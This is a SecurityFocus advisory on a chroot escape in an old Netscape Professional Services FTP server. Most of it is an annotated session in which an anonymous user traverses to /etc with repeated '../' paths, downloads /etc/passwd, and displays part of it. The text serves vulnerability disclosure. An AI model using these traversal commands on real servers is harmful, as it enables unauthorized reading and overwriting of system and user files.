57 lines
No EOL
2.4 KiB
Text
57 lines
No EOL
2.4 KiB
Text
source: https://www.securityfocus.com/bid/1411/info
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Certain versions of the LDAP-aware Netscape Professional Services FTP Server (distributed with Enterprise Web Server) have a serious vulnerability which may lead to a remote or local root compromise. The vulnerability in essence is a failure of of the FTP server to enforce a restricted user environment (chroot). By failing to do this an FTP (anonymous or otherwise) user may download any file on the system (/etc/passwd etc.) as well as upload files at will at the privilege level of the FTP daemon.
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Furthermore (quoted from the original attached message) this FTP server supports LDAP users; different LDAP accounts are served on single physical UID. This means, any user can access and eventually overwrite files on other accounts; as it's used in cooperation with webserver, typically virtual web servers are affected.
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$ ftp ftp.XXXX.xxx
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Connected to ftp.XXXX.xxx.
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220-FTP Server - Version 1.36 - (c) 1999 Netscape Professional Services
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220 You will be logged off after 1200 seconds of inactivity.
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Name (ftp.XXXX.xxx:lcamtuf): anonymous
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331 Anonymous user OK, send e-mail address as password.
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Password:
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230 Logged in OK
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Remote system type is UNIX.
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Using binary mode to transfer files.
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ftp> cd ../../../dupa
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550 Can't change directory to
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"/www1/customer/www.XXXX.xxx/a/n/o/n/anonymous/dupa" because No such
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file or directory
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[Well... this won't work... uh, lovely physical path, btw ;]
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ftp> cd /../../../dupa
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550 Can't change directory to
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"/www1/customer/www.XXXX.xxx/a/n/dupa" because No such file or
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directory
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ftp> cd /../../../../dupa
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550 Can't change directory to
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"/www1/customer/www.XXXX.xxx/a/dupa" because
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No such file or directory
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[Erm? Good God!]
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ftp> cd /../../../../../../../../etc/dupa
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550 Can't change directory to "/etc/dupa" because No such file or
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directory
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ftp> cd /../../../../../../../../etc/
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250 CWD command successful.
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ftp> get /../../../../../../../../etc/passwd KUKU
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local: KUKU remote: /../../../../../../../../etc/passwd
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200 PORT successfull, connected to A.B.C.D port 62437
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150-Type of object is "unknown/unknown". Transfer MODE is BINARY.
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150 Opening data connection
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226 File downloaded successfully (602 bytes, 602 bytes xmitted)
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602 bytes received in 1.71 secs (0.34 Kbytes/sec)
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ftp> quit
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221-Goodbye. You uploaded 0 and downloaded 1 kbytes.
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221 CPU time spent on you: 0.100 seconds.
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$ cat KUKU
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root:x:0:1:Super-User:/:/sbin/sh
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daemon:x:1:1::/:
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bin:x:2:2::/usr/bin:
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sys:x:3:3::/:
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adm:x:4:4:Admin:/var/adm:
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... |